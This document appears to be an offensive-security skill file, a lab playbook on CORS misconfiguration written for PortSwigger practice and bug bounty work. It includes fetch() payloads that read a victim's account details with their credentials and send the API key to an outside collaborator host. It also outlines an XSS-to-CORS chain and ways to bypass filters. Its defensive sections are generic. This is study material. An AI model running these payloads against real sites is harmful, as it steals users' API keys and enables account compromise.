CORS Misconfiguration — Complete Deep Dive

CORS Misconfiguration — Complete Deep Dive

> Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, > bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• Studying for BSCP (Burp Suite Certified Practitioner) certification
• Testing real-world targets for these vulnerability classes
• Bug bounty hunting — these exact techniques find real bugs
• Building exploitation chains

Prerequisites

• Burp Suite Professional (Community works for most)
• Browser with proxy configured
• Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Basic origin reflection 🟢 APPRENTICE

fetch('https://TARGET/accountDetails',{credentials:'include',headers:{'Origin':'https://evil.com'}})
.then(r=>r.json())
.then(d=>fetch('https://COLLAB/?key='+d.apikey));

Server reflects any Origin in Access-Control-Allow-Origin with credentials: true. ---

Lab 2: Trusted null origin 🟡 PRACTITIONER

fetch('https://TARGET/accountDetails',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://COLLAB/?'+d.apikey));">

Sandboxed iframe sends Origin: null, which the server trusts. ---

Lab 3: Trusted insecure protocols 🟡 PRACTITIONER

Find subdomain with XSS over HTTP. CORS trusts *.target.com including HTTP. Chain: subdomain XSS → CORS bypass → steal api key. ---

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research Methodology

When a standard technique doesn't work:

1. Identify the filter: What chars/patterns are blocked?
2. Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
3. Fuzz extensively: Use Burp Intruder with custom charset/tag lists
4. Chain vulnerabilities: Combine two medium findings into one critical
5. Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity

Key Concepts

| Concept | Description | |---------|-------------| | PortSwigger Vectors | Standardized approaches to vulnerability classes. | | Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

> For cross-cutting methodology applicable to all vulnerability classes, see: > - [_shared/references/elite-chaining-strategy.md](../shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [_shared/references/elite-report-writing.md](../shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [_shared/references/real-world-bounties.md](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

References

• PortSwigger Web Security Academy
• PortSwigger All Labs
• PayloadsAllTheThings

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: Ak-cybe
• Source: Ak-cybe/awesome-offensive-security-skills
• License: Apache-2.0
• Homepage: https://ak-cybe.github.io/cybersecurity-agent-skill

Install and usage instructions live in the source repository linked above.